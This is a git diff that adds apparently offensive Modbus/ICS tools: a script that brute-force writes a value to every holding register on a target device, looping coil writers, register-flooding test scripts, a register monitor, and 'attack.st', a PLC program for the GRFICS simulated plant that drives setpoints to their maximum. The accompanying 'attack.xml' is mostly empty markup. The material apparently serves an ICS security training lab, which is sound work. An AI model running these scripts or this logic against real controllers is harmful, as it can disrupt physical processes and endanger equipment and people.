parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + 